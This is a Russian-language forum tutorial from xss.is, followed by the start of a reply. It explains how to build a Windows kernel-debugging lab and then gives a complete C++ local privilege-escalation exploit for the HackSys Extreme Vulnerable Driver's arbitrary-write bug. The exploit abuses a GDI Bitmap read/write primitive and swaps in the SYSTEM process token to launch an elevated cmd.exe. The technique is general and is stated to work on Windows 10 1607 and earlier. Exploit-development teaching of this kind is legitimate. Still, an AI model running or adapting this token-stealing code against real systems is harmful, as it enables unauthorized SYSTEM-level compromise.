• XSS INCEPTION #5 - то, чего не было много лет. Е-зин, он же электронный журнал. Заходите! Выпуск #5 уже ждет вас!

Статья Создаём и используем виртуальную среду, для разработки эксплойтов

Azrv3l

win32kfull
Premium
Регистрация
30.03.2019
Сообщения
135
Реакции
261
В этой статье я пошагово разберу, как настроить среду для разработки и отладки эксплойтов ядра Windows. Кроме того, во второй половине статьи, мы с вами напишем эксплоит под уязвимость ArbitraryOverwrite.

Заранее предупрежу, что статья расcчитана на новичков, которые хоть что-то читали о том как писать LPE эксплоиты под ядро Windows.
Если вы профи с большим опытом, ничего интересного для вас здесь пожалуй не будет. Точно также как и для тех, кто ничего не знает о ядре.

Содержание
  1. Введение
  2. Инструментарий
    1. Гипервизор
    2. VirtualKD
    3. Отладчик
  3. Образы
  4. Пакет установки
  5. Создаем VM
    1. Добавляем общую папку
  6. Настраиваем VM
  7. Тестируем на практике
    1. Устанавливаем HEVD
    2. Реверсинг
    3. Пишем эксплоит
      1. Описание техники
      2. Готовим примитив
      3. Обходимся без шеллкода
    4. Полный код эксплойта
  8. Итог
Введение
Если вы уже интересовались темой эксплуатации ядра Windows, то наверняка натыкались на 1000 и 1 статью о том как настроить виртуальный полигон для разработки эксплойтов.
Но ни одна из всех тех статей, которые я читал, не показалась мне достаточно полной и подробной, так что я решил написать свою.

В качестве хостовой машины, сегодня выступит Windows 10. Можно конечно выполнить всё ниже описанное в Linux, но как показывает практика, по большей части это только усложнит задачу.
У меня установлена Windows 10 1909, на её примере я и разберу настройку среды.

Инструментарий
Лучше заняться установкой всех нужных инструментов заранее, чтобы потом не тратить на это время. Всего, на ПО и виртуальные машины, нам понадобиться около 150 гигабайт свободного пространства.
Под виртуальные машины я бы рекомендовал докупить отдельный диск, как это сделал я, хотя это и не обязательно.

Гипервизор

1.png

Кандидатов на роль гипервизора у нас, по обыкновению, два: VMWare и VirtualBox.
Я предпочитаю VMWare. Поэтому, все скрины в этой статье будут сделаны в ней. Хотя вы, по желанию, можете использовать VirtualBox.
Разводить холивар о том что лучше, и растягивать и без того длинную статью я не собираюсь.

VMWare - платное ПО, учить вас пиратить я не буду)
Моя версия: VMware® Workstation Pro 15.1.0 build-13591040

VirtualKD
VirtualKD - это невероятно полезный инструмент, созданный для упрощения отладки виртуальных машин Windows. Он самостоятельно переводит VM в тестовый режим, открывает COM порт для отладки, и делает ещё кучу рутинной работы за нас.
Более подробно можно прочитать в официальном гайде

2.png

Отладчик
Роль отладчика исполнит WinDBG Preview. Вы с тем же успехом можете использовать обычный WinDBG, но я предпочту Preview версию.
Не только из-за более вкусного интерфейса, но и из-за простоты использования. Единственный его минус - невозможность установки дополнений WinDBG.
Если я ошибаюсь, и есть способ установки дополнений - отпишите в теме, будет интересно почитать.

Ставил я его из Microsoft Store: https://www.microsoft.com/en-us/p/windbg-preview/9pgjgd53tn86?activetab=pivot:overviewtab
Вы так-же можете поставить Windbg Preview из сторонних источников.

3.png

Образы
На этом этапе, следует скачать все необходимные образы OS. В своей практике я использую следующий пречень:
  • Windows 7
    • Windows 7 SP 1 x86
    • Windows 7 SP 1 x64
  • Windows 10
    • Windows 10 1607 x86
    • Windows 10 1607 x64
    • Windows 10 1903 x64
    • Windows 10 1909 x64
    • Windows 10 20H2 x64
Конечно это ещё не всё, и в процессе разработки N-Day эксплойта, вам могут понадобиться и другие редакции OS. Но перечисленного выше обычно бывает достаточно.
Также я отдельно держу постоянно обновляемый образ Windows 10, он тоже часто бывает нужен.

Пакет установки
Перед тем как приступать к созданию виртуальных машин, я предлогаю собрать свой пакет ПО для установки.
У каждого он будет разный. Состав зависит от того, как вы видите процесс разработки и каким ПО пользуютесь.

Мой состоит из:
  1. *Установщик VirtualKD VM
  2. Firefox
  3. Process Monitor
  4. Device Tree
  5. Sublime Text
*Установщик VirtualKD VM - это папка target32 или target64, которая лежит внутри каталога VirtualKD. Она пригодится нам, на этапе настройки VM.
При установке я также добавляю в пакет обои, так как стандартные начинают раздражать.

Создаем VM
Ниже пример создания виртуалки в VMWare. Если вы предпочли VirtualBox, можете прочитать. как создать виртуалку тут
Для создания VM, откройте Файл -> Новая виртуальная машина..., или просто нажмите Ctrl+N
Я намеренно пропустил те шаги, где просто нужно нажать Далее

1. Указываем путь до ISO файла

4.png

2. Указываем имя VM

5.png

3. Выбираем BIOS/UEFI

6.png

4. Настраиваем параметры процессора. Я обычно ставлю 4 ядра

7.png

5. Выбираем объем оперативной памяти. Опять же, ставлю 4

8.png

6. Настраиваем сеть

9.png

10.png

7. Выбираем тип диска и указываем объём

11.png

12.png

8. Результат

13_2.jpg

Добавляем общую папку
Общая папка - каталог, доступ к которому имеют и виртуальные машины и машина хоста.
Сегодня этот каталог выступит нашим полигоном для эксплойтов.

Переходим к параметрам VM, и добавляем общую папку.

14_2.jpg

Настраиваем VM
Для подключения нашей VM к VirtualKD, нужно запустить установщик, который перезапишет загрузчик.
Примечание: При копировании, переностие весь каталог target32 или target64, а не только исполняемый файл.

15.png

Теперь, каждый раз при запуске виртуальной машины, нужно будет:
  1. Нажать F8
  2. Открыть VirtualKD и запустить отладчик
  3. 16.png
  4. И только после этого выбрать пункт, "Отключение обязательной проверки подписи драйверов"
17.png

Если не соблюдать порядок, то вы не получите reconnect, и отладчик не подключится.
Если всё сделали правильно, отладчик должен сплюнуть примерно слeдующее:

18.png

Тоже самое надо повторить и с остальными образами. Далее, я буду писать эксплоит под Windows 10 x64 1607 Redstone 1.
Как только среда готова, переходим к разработке

Тестируем на практике
Безусловно, всем хотелось бы видеть в качестве парктики какую-нибудь N-day уязвимость. Но к сожалению, у меня сейчас не хватает времени писать полноценный LPE N-Day для статьи, да и новичкам будет проще воспроизвести мою статью,
и написать свой эксплоит, если в качестве примера выступит тестовый драйвер. Так что отложим N-day на следующий раз.

Код:
           ooooo   ooooo oooooooooooo oooooo     oooo oooooooooo. 
           `888'   `888' `888'     `8  `888.     .8'  `888'   `Y8b
            888     888   888           `888.   .8'    888      888
            888ooooo888   888oooo8       `888. .8'     888      888
            888     888   888    "        `888.8'      888      888
            888     888   888       o      `888'       888     d88'
           o888o   o888o o888ooooood8       `8'       o888bood8P'
*По другому вставить ASCII арт не получилось

Целью эксплуатации сегодня выступит HEVD (HackSys Extreme Vulnerable Driver) - это специально написанный пример уязвимого драйвера Windows.
Если вам будет интересно дальше эксплуатировать уязвимости из HEVD, то на форуме уже есть статьи с разбором - https://xss.is/threads/30115/, очень рекомендую.

Скачать драйвер можно тут

Устанавливаем HEVD
Для установки HEVD, нам понадобиться замечательный, но очень старый инструмент, которому к сожалению нет аналогов - OSR Driver Loader
Ссылка на скачивание здесь

Открываем программу и в поле Driver Path, указываем путь до HEVD.sys

19.png

Далее указываем Service Start как Automatic

20.png

И прожимаем Register Service

21.png

Осталось перезагрузить VM. После перезагрузки проверяем наличие модуля, комадной lm m HEVD

22.png

Реверсинг
Описывать всё в подробностях я не буду, иначе это будет оффтоп. Если хотите научиться реверсить, рекомендую Курс реверсинга, с использованием IDA Pro от Рикардо Нарвахи, в переводе от yashechka
У этого курса своя особенная атмосфера. Очень советую, сам по нему учился.

В статье мы тоже воспользуемся IDA Pro, для реверса HEVD драйвера. Пускай сейчас, это и не мой основной инструмент, но он объективно лучше всех подходит под задачу.
У меня стоит версия 7.5.2.

Первым делом, мы ищем функцию обрабатывающую IOCTL запросы.

23.png

Далее определяем ветку, отвечающую за ArbitraryWrite (Она подписана, так как в комплекте с HEVD.sys, идут .pdb символы)

24.png

Переходя в вызываемую функцию, наблюдаем следующее

25.png

Вот выдержка из тела функции:
Код:
lea     edx, [rsi+10h]
lea     r8d, [rsi+1]    ; Alignment
call    cs:__imp_ProbeForRead
mov     rbx, [r14]
mov     rdi, [r14+8]
mov     r9, r14
lea     r8, aUserwritewhatw_0 ; "[+] UserWriteWhatWhere: 0x%p\n"
lea     r12d, [rsi+3]
mov     edx, r12d       ; Level
lea     r14d, [rsi+4Dh]
mov     ecx, r14d       ; ComponentId
call    cs:__imp_DbgPrintEx
lea     r9d, [rsi+10h]
lea     r8, aWriteWhatWhere ; "[+] WRITE_WHAT_WHERE Size: 0x%X\n"
mov     edx, r12d       ; Level
mov     ecx, r14d       ; ComponentId
call    cs:__imp_DbgPrintEx
mov     r9, rbx
lea     r8, aUserwritewhatw_1 ; "[+] UserWriteWhatWhere->What: 0x%p\n"
mov     edx, r12d       ; Level
mov     ecx, r14d       ; ComponentId
call    cs:__imp_DbgPrintEx
mov     r9, rdi
lea     r8, aUserwritewhatw ; "[+] UserWriteWhatWhere->Where: 0x%p\n"
mov     edx, r12d       ; Level
mov     ecx, r14d       ; ComponentId
call    cs:__imp_DbgPrintEx
lea     r8, aTriggeringArbi_0 ; "[+] Triggering Arbitrary Write\n"
mov     edx, r12d       ; Level
mov     ecx, r14d       ; ComponentId
call    cs:__imp_DbgPrintEx
mov     rax, [rbx]
mov     [rdi], rax
jmp     short loc_140085F3D

Так как HexRays под рукой, прикреплю листинг:
C:
__int64 __fastcall TriggerArbitraryWrite(_WRITE_WHAT_WHERE *UserWriteWhatWhere)
{
  unsigned __int64 *v2; // rbx
  unsigned __int64 *v3; // rdi

  ProbeForRead(UserWriteWhatWhere, 0x10ui64, 1u);
  v2 = UserWriteWhatWhere->What;
  v3 = UserWriteWhatWhere->Where;
  DbgPrintEx(0x4Du, 3u, "[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
  DbgPrintEx(0x4Du, 3u, "[+] WRITE_WHAT_WHERE Size: 0x%X\n", 16i64);
  DbgPrintEx(0x4Du, 3u, "[+] UserWriteWhatWhere->What: 0x%p\n", v2);
  DbgPrintEx(0x4Du, 3u, "[+] UserWriteWhatWhere->Where: 0x%p\n", v3);
  DbgPrintEx(0x4Du, 3u, "[+] Triggering Arbitrary Write\n");
  *v3 = *v2;
  return 0i64;
}
Пользуясь моментом, обращусь к новичкам: Господа, учите ассемблер. Понятно что проще прожать F5 и получить готовый код на C, но если вы действительно хотите стать специалистом, не ленитесь и учите asm.

Говоря коротко - функция принимает структуру, первый элемент которой указывает что писать, а второй куда.

Пишем эксплойт
Создаём обычное консольное приложение, и указываем x64 release сбоку:

26.png

И первый вопрос, который возникает у многих, это: "Как я могу перезапись небольшого кусочка памяти, превратить в полноценный LPE?"
Ответ напрашивается сам собой - Переписать какой-нибудь указатель!

Описание техники
Пользоваться будем, достаточно известной, но от этого не менее интересной техникой использования GDI объектов.

GDI объектов много, более подробно о них можно прочитать тут
Мы же, сразу перейдём к эксплуатации одного и них - Bitmap. Его структура, представляет собой следующее:
C:
typedef struct {
  ULONG64 dhsurf; // 0x00
  ULONG64 hsurf; // 0x08
  ULONG64 dhpdev; // 0x10
  ULONG64 hdev; // 0x18
  SIZEL sizlBitmap; // 0x20
  ULONG64 cjBits; // 0x28
  ULONG64 pvBits; // 0x30
  ULONG64 pvScan0; // 0x38
  ULONG32 lDelta; // 0x40
  ULONG32 iUniq; // 0x44
  ULONG32 iBitmapFormat; // 0x48
  USHORT iType; // 0x4C
  USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50

Нас волнует только поле pvScan0, оно указывает на, так называемый, pixel data - простыми словами, это хранилище данных bitmap
Доступ к pixel data, мы имеем через функции: GetBitmapBits() и SetBitmapBits()

План у нас следующий:
  1. Создаём два Bitmap друг за другом(В дальнейшем Manager и Worker)
  2. Находим их адреса, и адреса поля pvScan0 у каждого
  3. Записываем в pvScan0 первого bitmap, адрес pvScan0 второго
И получаем примитив:
  1. Вызываем SetBitmapBits() у Manager, чтобы указать адрес
  2. Вызываем GetBitmapBits() или SetBitmapBits() у Worker, для чтения/записи
Более подробное описание техники вы можете прочтитать тут:

Эту технику закрыли в обновлении Redstone 2(Windows 10 1703), но ограничение удалось обойти. История техник ArbitraryRW в Windows, выходит за рамки этой статьи,
так что если есть желание узнать подробнее, вот презентации: [1] и [2]. Материал просто замечательный, советую к прочтению.

Готовим примитив
Примечание: Некоторые части эксплойта я пропустил, их можно найти в полной верии, в конце статьи

Первым делом создадим два Bitmap:
C++:
Bitmap manager = GetBitmap("Manager");
Bitmap worker = GetBitmap("Worker");

Далее получаем указатель на pvScan0 Worker`a, и вписываем его в pvScan0 Manager`a, вызывая нашу уязвимость:
C++:
LPVOID workerPvScan0 = &worker.pvScan0;
PUCHAR buffer = (PUCHAR)malloc(sizeof(LPVOID) * 2);
memcpy(buffer, &workerPvScan0, (sizeof(LPVOID)));
memcpy(buffer + (sizeof(LPVOID)), &manager.pvScan0, (sizeof(LPVOID)));

DWORD ret_bytes;
BOOL bResult = DeviceIoControl(hDevice,
    0x22200B,
    buffer,
    (sizeof(LPVOID) * 2),
    NULL, 0,
    &ret_bytes,
    (LPOVERLAPPED)NULL);
if (!bResult) {
    printf("[!] Failed to send IOCTL\n\n");
    CloseHandle(hDevice);
    exit(1);
}
*Если на этом моменте, вы перестали понимать что происходит, то прочитайте сначала о реализации эксплойтов под более простые уязвимости HEVD - https://xss.is/threads/30115/

Добавим функции чтения и записи
C++:
LONG Read(HBITMAP hManager, HBITMAP hWorker, LPVOID lpReadAddress, LPVOID lpReadResult, DWORD dwReadLen) {
    SetBitmapBits(hManager, dwReadLen, &lpReadAddress);        // Set Workers pvScan0 to the Address we want to read.
    return GetBitmapBits(hWorker, dwReadLen, lpReadResult); // Use Worker to Read result into lpReadResult Pointer.
}

LONG Write(HBITMAP hManager, HBITMAP hWorker, LPVOID lpWriteAddress, LPVOID lpWriteValue, DWORD dwWriteLen) {
    SetBitmapBits(hManager, dwWriteLen, &lpWriteAddress);     // Set Workers pvScan0 to the Address we want to write.
    return SetBitmapBits(hWorker, dwWriteLen, &lpWriteValue); // Use Worker to Write at Arbitrary Kernel address.
}

Обходимся без шеллкода
Пожалуй самое интересное в эксплуатации уязвимости ArbitraryRW, это то, что мы можем обойтись без шеллкода.
В чем состоит задача, типичного Token Swap шеллкода? Правильно - поменять местами токены. Мы же, можем обойтись без него, и сделать это, так сказать, руками.

О видах шеллкодов, и принципах их действия, вы можете прочитать тут

Получаем указатель на токен процесса System(PID4)
C++:
LPVOID lpSystemEPROCESS = NULL;
LPVOID lpSysProcID = NULL;
LIST_ENTRY leNextProcessLink;
LPVOID lpSystemToken = NULL;

Read(manager.hBitmap, worker.hBitmap, (LPVOID)fpFunctionAddress, &lpSystemEPROCESS, sizeof(LPVOID)); //fpFunctionPointer - указатель на PsInitialSystemProcess
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpSystemEPROCESS + 0x2e8, &lpSysProcID, sizeof(LPVOID));
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpSystemEPROCESS + 0x2f0, &leNextProcessLink, sizeof(LPVOID));
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpSystemEPROCESS + 0x358, &lpSystemToken, sizeof(LPVOID));

Перебираем linked-list с процессами, в поисках нашего PID
C++:
DWORD dwSysProcID = LOWORD(lpSysProcID);
LPVOID lpNextEPROCESS = NULL;
LPVOID lpCurrentPID = NULL;
LPVOID lpCurrentToken = NULL;
DWORD dwCurrentPID;

do {
    lpNextEPROCESS = (PUCHAR)leNextProcessLink.Flink - 0x2f0;
    Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x2e8, &lpCurrentPID, sizeof(LPVOID));
    Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x358, &lpCurrentToken, sizeof(LPVOID));
    Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x2f0, &leNextProcessLink, sizeof(LPVOID));
    dwCurrentPID = LOWORD(lpCurrentPID);
} while (dwCurrentPID != GetCurrentProcessId());

А теперь просто, переписываем наш токен
C++:
Write(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x358, lpSystemToken, sizeof(LPVOID));

Полный код эксплоита
Я разделил полный код эксплоита на два файла, с кодом и c заголовками.
Заголовки я обычно беру либо с Vergilius, либо из Исходников ReactOS

C++:
#include <Windows.h>
#include <stdio.h>
#include "HEVD_AO.h"

struct Bitmap {
    HBITMAP hBitmap;
    PUCHAR pvScan0;
};

void spawn_cmd() {
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    //Creating process
    const wchar_t* cmd = L"C:\\Windows\\System32\\cmd.exe";
    if (CreateProcess(cmd, NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
        printf("[+] Cmd created!\n");
    }
    else {
        printf("[!] FATAL: Can't create cmd.exe\n");
    }

    return;
}

FARPROC WINAPI KernelSymbolInfo(LPCSTR lpSymbolName) {
    _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
        GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
    if (NtQuerySystemInformation == NULL) {
        return NULL;
    }

    DWORD len;
    NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
    PSYSTEM_MODULE_INFORMATION ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!ModuleInfo) {
        return NULL;
    }

    NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);
    LPVOID kernelBase = ModuleInfo->Module[0].ImageBase;
    PUCHAR kernelImage = ModuleInfo->Module[0].FullPathName;

    LPCSTR lpKernelName = (LPCSTR)(ModuleInfo->Module[0].FullPathName + ModuleInfo->Module[0].OffsetToFileName);

    HMODULE hUserSpaceKernel = LoadLibraryExA(lpKernelName, 0, 0);
    if (hUserSpaceKernel == NULL) {
        VirtualFree(ModuleInfo, 0, MEM_RELEASE);
        return NULL;
    }

    FARPROC pUserKernelSymbol = GetProcAddress(hUserSpaceKernel, lpSymbolName);
    if (pUserKernelSymbol == NULL) {
        VirtualFree(ModuleInfo, 0, MEM_RELEASE);
        return NULL;
    }

    FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpaceKernel + (PUCHAR)kernelBase);

    FreeLibrary(hUserSpaceKernel);
    VirtualFree(ModuleInfo, 0, MEM_RELEASE);

    return pLiveFunctionAddress;
}

Bitmap GetBitmap(LPCSTR lpName) {
    Bitmap info;
    DWORD dwOffsetToPvScan0 = 0x50;
    DWORD dwCounter = 0;
    HACCEL hAccel;
    LPACCEL lpAccel;
    PUSER_HANDLE_ENTRY Address1 = NULL;
    PUSER_HANDLE_ENTRY Address2 = NULL;
    PUCHAR pAcceleratorAddr1 = NULL;
    PUCHAR pAcceleratorAddr2 = NULL;
    PSHAREDINFO pSharedInfo = (PSHAREDINFO)GetProcAddress(GetModuleHandle(L"user32.dll"), "gSharedInfo");
    PUSER_HANDLE_ENTRY gHandleTable = pSharedInfo->aheList;
    DWORD index;

    lpAccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * 700);

    while (dwCounter < 20) {
        hAccel = CreateAcceleratorTable(lpAccel, 700);
        index = LOWORD(hAccel);
        Address1 = &gHandleTable[index];
        pAcceleratorAddr1 = (PUCHAR)Address1->pKernel;
        DestroyAcceleratorTable(hAccel);

        hAccel = CreateAcceleratorTable(lpAccel, 700);
        index = LOWORD(hAccel);
        Address2 = &gHandleTable[index];
        pAcceleratorAddr2 = (PUCHAR)Address2->pKernel;
        DestroyAcceleratorTable(hAccel);

        if (pAcceleratorAddr1 == pAcceleratorAddr2) {
            LPVOID lpBuf = VirtualAlloc(NULL, 0x50 * 2 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
            info.hBitmap = CreateBitmap(0x701, 2, 1, 8, lpBuf);
            break;
        }

        dwCounter++;
    }

    info.pvScan0 = pAcceleratorAddr1 + dwOffsetToPvScan0;
    return info;
}

LONG Read(HBITMAP hManager, HBITMAP hWorker, LPVOID lpReadAddress, LPVOID lpReadResult, DWORD dwReadLen) {
    SetBitmapBits(hManager, dwReadLen, &lpReadAddress);        // Set Workers pvScan0 to the Address we want to read.
    return GetBitmapBits(hWorker, dwReadLen, lpReadResult); // Use Worker to Read result into lpReadResult Pointer.
}


LONG Write(HBITMAP hManager, HBITMAP hWorker, LPVOID lpWriteAddress, LPVOID lpWriteValue, DWORD dwWriteLen) {
    SetBitmapBits(hManager, dwWriteLen, &lpWriteAddress);     // Set Workers pvScan0 to the Address we want to write.
    return SetBitmapBits(hWorker, dwWriteLen, &lpWriteValue); // Use Worker to Write at Arbitrary Kernel address.
}

void exploit() {
    Bitmap manager = GetBitmap("Manager");
    Bitmap worker = GetBitmap("Worker");

    HANDLE hDevice = CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver",
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[!] No handle to HackSysExtremeVulnerableDriver\n");
        exit(1);
    };

    LPVOID workerPvScan0 = &worker.pvScan0;
    PUCHAR buffer = (PUCHAR)malloc(sizeof(LPVOID) * 2);
    memcpy(buffer, &workerPvScan0 , (sizeof(LPVOID)));
    memcpy(buffer + (sizeof(LPVOID)), &manager.pvScan0, (sizeof(LPVOID)));

    DWORD ret_bytes;
    BOOL bResult = DeviceIoControl(hDevice,
        0x22200B,
        buffer,
        (sizeof(LPVOID) * 2),
        NULL, 0,
        &ret_bytes,
        (LPOVERLAPPED)NULL);
    if (!bResult) {
        printf("[!] Failed to send IOCTL\n\n");
        CloseHandle(hDevice);
        exit(1);
    }

    FARPROC fpFunctionAddress = KernelSymbolInfo("PsInitialSystemProcess");
    if (fpFunctionAddress == NULL) {
        printf("[!] Can't find memory address!\n\n");
        CloseHandle(hDevice);
    }

    LPVOID lpSystemEPROCESS = NULL;
    LPVOID lpSysProcID = NULL;
    LIST_ENTRY leNextProcessLink;
    LPVOID lpSystemToken = NULL;

    Read(manager.hBitmap, worker.hBitmap, (LPVOID)fpFunctionAddress, &lpSystemEPROCESS, sizeof(LPVOID));
    Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpSystemEPROCESS + 0x2e8, &lpSysProcID, sizeof(LPVOID));
    Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpSystemEPROCESS + 0x2f0, &leNextProcessLink, sizeof(LPVOID));
    Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpSystemEPROCESS + 0x358, &lpSystemToken, sizeof(LPVOID));

    DWORD dwSysProcID = LOWORD(lpSysProcID);
    LPVOID lpNextEPROCESS = NULL;
    LPVOID lpCurrentPID = NULL;
    LPVOID lpCurrentToken = NULL;
    DWORD dwCurrentPID;

    do {
        lpNextEPROCESS = (PUCHAR)leNextProcessLink.Flink - 0x2f0;
        Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x2e8, &lpCurrentPID, sizeof(LPVOID));
        Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x358, &lpCurrentToken, sizeof(LPVOID));
        Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x2f0, &leNextProcessLink, sizeof(LPVOID));
        dwCurrentPID = LOWORD(lpCurrentPID);
    } while (dwCurrentPID != GetCurrentProcessId());

    Write(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x358, lpSystemToken, sizeof(LPVOID));

    printf("Enjoy system shell!\n");
    spawn_cmd();

    return;
}

int main() {
    printf("[!] Warning: This exploit, only works on Windows 10 1607 or lower!\n");
    exploit();

    return 0;
}
C++:
#pragma once

#include <Windows.h>

typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemBasicInformation = 0,
    SystemPerformanceInformation = 2,
    SystemTimeOfDayInformation = 3,
    SystemProcessInformation = 5,
    SystemProcessorPerformanceInformation = 8,
    SystemModuleInformation = 11,
    SystemInterruptInformation = 23,
    SystemExceptionInformation = 33,
    SystemRegistryQuotaInformation = 37,
    SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
    HANDLE Section;
    PVOID MappedBase;
    PVOID ImageBase;
    ULONG ImageSize;
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;
    UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG NumberOfModules;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

typedef struct _PROCESS_BASIC_INFORMATION
{
    LONG ExitStatus;
    PVOID PebBaseAddress;
    ULONG_PTR AffinityMask;
    LONG BasePriority;
    ULONG_PTR UniqueProcessId;
    ULONG_PTR ParentProcessId;
} PROCESS_BASIC_INFORMATION, * PPROCESS_BASIC_INFORMATION;

// Partial PEB
typedef struct _PEB {
    BOOLEAN InheritedAddressSpace;
    BOOLEAN ReadImageFileExecOptions;
    BOOLEAN BeingDebugged;
    union
    {
        BOOLEAN BitField;
        struct
        {
            BOOLEAN ImageUsesLargePages : 1;
            BOOLEAN IsProtectedProcess : 1;
            BOOLEAN IsLegacyProcess : 1;
            BOOLEAN IsImageDynamicallyRelocated : 1;
            BOOLEAN SkipPatchingUser32Forwarders : 1;
            BOOLEAN SpareBits : 3;
        };
    };
    HANDLE Mutant;

    PVOID ImageBaseAddress;
    PVOID Ldr;
    PVOID ProcessParameters;
    PVOID SubSystemData;
    PVOID ProcessHeap;
    PRTL_CRITICAL_SECTION FastPebLock;
    PVOID AtlThunkSListPtr;
    PVOID IFEOKey;
    union
    {
        ULONG CrossProcessFlags;
        struct
        {
            ULONG ProcessInJob : 1;
            ULONG ProcessInitializing : 1;
            ULONG ProcessUsingVEH : 1;
            ULONG ProcessUsingVCH : 1;
            ULONG ProcessUsingFTH : 1;
            ULONG ReservedBits0 : 27;
        };
        ULONG EnvironmentUpdateCount;
    };
    union
    {
        PVOID KernelCallbackTable;
        PVOID UserSharedInfoPtr;
    };
    ULONG SystemReserved[1];
    ULONG AtlThunkSListPtr32;
    PVOID ApiSetMap;
    ULONG TlsExpansionCounter;
    PVOID TlsBitmap;
    ULONG TlsBitmapBits[2];
    PVOID ReadOnlySharedMemoryBase;
    PVOID HotpatchInformation;
    PVOID* ReadOnlyStaticServerData;
    PVOID AnsiCodePageData;
    PVOID OemCodePageData;
    PVOID UnicodeCaseTableData;

    ULONG NumberOfProcessors;
    ULONG NtGlobalFlag;

    LARGE_INTEGER CriticalSectionTimeout;
    SIZE_T HeapSegmentReserve;
    SIZE_T HeapSegmentCommit;
    SIZE_T HeapDeCommitTotalFreeThreshold;
    SIZE_T HeapDeCommitFreeBlockThreshold;

    ULONG NumberOfHeaps;
    ULONG MaximumNumberOfHeaps;
    PVOID* ProcessHeaps;

    PVOID GdiSharedHandleTable;
} PEB, * PPEB;

typedef struct _GDICELL {
    LPVOID pKernelAddress;
    USHORT wProcessId;
    USHORT wCount;
    USHORT wUpper;
    USHORT wType;
    LPVOID pUserAddress;
} GDICELL, * PGDICELL;

typedef struct _SERVERINFO {
    DWORD dwSRVIFlags;
    DWORD cHandleEntries;
    WORD wSRVIFlags;
    WORD wRIPPID;
    WORD wRIPError;
} SERVERINFO, * PSERVERINFO;

typedef struct _USER_HANDLE_ENTRY {
    void* pKernel;
    union
    {
        PVOID pi;
        PVOID pti;
        PVOID ppi;
    };
    BYTE type;
    BYTE flags;
    WORD generation;
} USER_HANDLE_ENTRY, * PUSER_HANDLE_ENTRY;

typedef struct _SHAREDINFO {
    PSERVERINFO psi;
    PUSER_HANDLE_ENTRY aheList;
    ULONG HeEntrySize;
    ULONG_PTR pDispInfo;
    ULONG_PTR ulSharedDelts;
    ULONG_PTR awmControl;
    ULONG_PTR DefWindowMsgs;
    ULONG_PTR DefWindowSpecMsgs;
} SHAREDINFO, * PSHAREDINFO;

typedef struct _LeakBitmapInfo {
    HBITMAP hBitmap;
    PUCHAR pBitmapPvScan0;
} LeakBitmapInfo, * pLeakBitmapInfo;

typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );

typedef NTSTATUS(NTAPI* _RtlGetVersion)(
    LPOSVERSIONINFOEXW lpVersionInformation
    );

typedef NTSTATUS(NTAPI* _NtQueryInformationProcess)(
    HANDLE ProcessHandle,
    DWORD ProcessInformationClass,
    PVOID ProcessInformation,
    DWORD ProcessInformationLength,
    PDWORD ReturnLength
    );


28.png

Итог
Это моя первая, достойная авторская статья, а не просто заметка. Так что прошу строго не судить.
Если вы с чем-то не согласны, или в статье есть ошибка, отпишите мне, я отредактирую.

Azrv3l cпециально для xss.is
 
Последнее редактирование:

varwar

HDD-drive
Пользователь
Регистрация
12.11.2020
Сообщения
29
Решения
1
Реакции
34
Для полноты стоит упомянуть все же KDNET. VirtualKd имеет смысл разве что для поддержки старых версий Windows. Хваленая скорость отладки уже не имеет былых преимуществ перед KDNET. Ну и есть какая-то мнимая уверенность, что продукт поддерживается для своих же разработчиков.

Для установки HEVD, нам понадобиться замечательный, но очень старый инструмент, которому к сожалению нет аналогов - OSR Driver Loader
До сих пор не понимаю жесткой потребности в этом инструменте. В чем сложность написать в консоли:

Код:
